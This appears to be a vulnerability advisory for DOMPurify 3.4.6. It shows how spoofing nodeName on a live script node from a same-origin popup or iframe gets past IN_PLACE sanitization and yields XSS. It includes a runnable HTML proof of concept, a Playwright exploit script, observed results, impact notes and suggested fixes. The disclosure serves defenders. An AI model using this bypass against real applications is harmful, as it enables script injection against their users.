DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

• DOMPurify 3.4.6
• Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) on attacker-supplied live DOM nodes
• Verified attacker-controlled node sources:
  • same-origin iframe → live node passed by reference
  • same-origin window.open() popup → live node passed by reference
  • same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

• String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

const _sanitizeElements = function (currentNode: any): boolean {
  ...
  if (_isClobbered(currentNode)) {
    _forceRemove(currentNode);
    return true;
  }

  const tagName = transformCaseFunc(currentNode.nodeName);
  ...
  if (
    FORBID_TAGS[tagName] ||
    (!(...) && !ALLOWED_TAGS[tagName])
  ) {
    ...
    _forceRemove(currentNode);
    return true;
  }
  ...
};

For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — _isClobbered is form-specific:

const _isClobbered = function (element: Element): boolean {
  const realTagName = getNodeName ? getNodeName(element) : null;
  if (typeof realTagName !== 'string') {
    return false;
  }

  if (transformCaseFunc(realTagName) !== 'form') {
    return false;
  }

  return (...);
};

The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.

If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.

For the verified primitive below:

• the real child node is <script>
• its script text is attacker-controlled
• the observable nodeName is attacker-controlled and made to appear as "DIV"
• _sanitizeElements therefore classifies the real <script> child as an allowed element
• the real <script> survives in the sanitized tree and executes on insertion

This primitive survives:

• direct reference passing
• document.adoptNode(node) followed by IN_PLACE

It does not survive:

• importNode
• cloneNode

because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

(2) End-to-end — Playwright

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.goto('about:blank');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(async () => {
    window.__hits = [];

    const foreign = window.open('about:blank', '_blank', 'noopener=no');
    const host = foreign.document.createElement('div');
    const script = foreign.document.createElement('script');
    script.textContent = 'top.__hits.push("script-fired")';
    Object.defineProperty(script, 'nodeName', {
      value: 'DIV',
      configurable: true,
    });
    host.appendChild(script);

    DOMPurify.sanitize(host, { IN_PLACE: true });
    document.body.appendChild(host);

    return {
      version: DOMPurify.version,
      output: host.outerHTML,
      fired: window.__hits.includes('script-fired'),
    };
  });

  console.log(result);
  await browser.close();
})();

Observed:

• Chromium / Firefox / WebKit

{
  version: '3.4.6',
  output: '<div><script>top.__hits.push("script-fired")</script></div>',
  fired: true
}

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.

Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.

The typical pattern is:

// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);

If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

• Applications that accept same-origin plugin / extension / widget DOM and rely on IN_PLACE as the final sanitization step
• Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:

1. Stop trusting instance-visible nodeName for the element decision in IN_PLACE.

Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.

In other words, the main pipeline should not do:

const tagName = transformCaseFunc(currentNode.nodeName);

on hostile live objects.

2. Generalize hostile-node detection beyond form.

The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:

• nodeName
• attributes
• childNodes

Either approach would close the verified primitive above.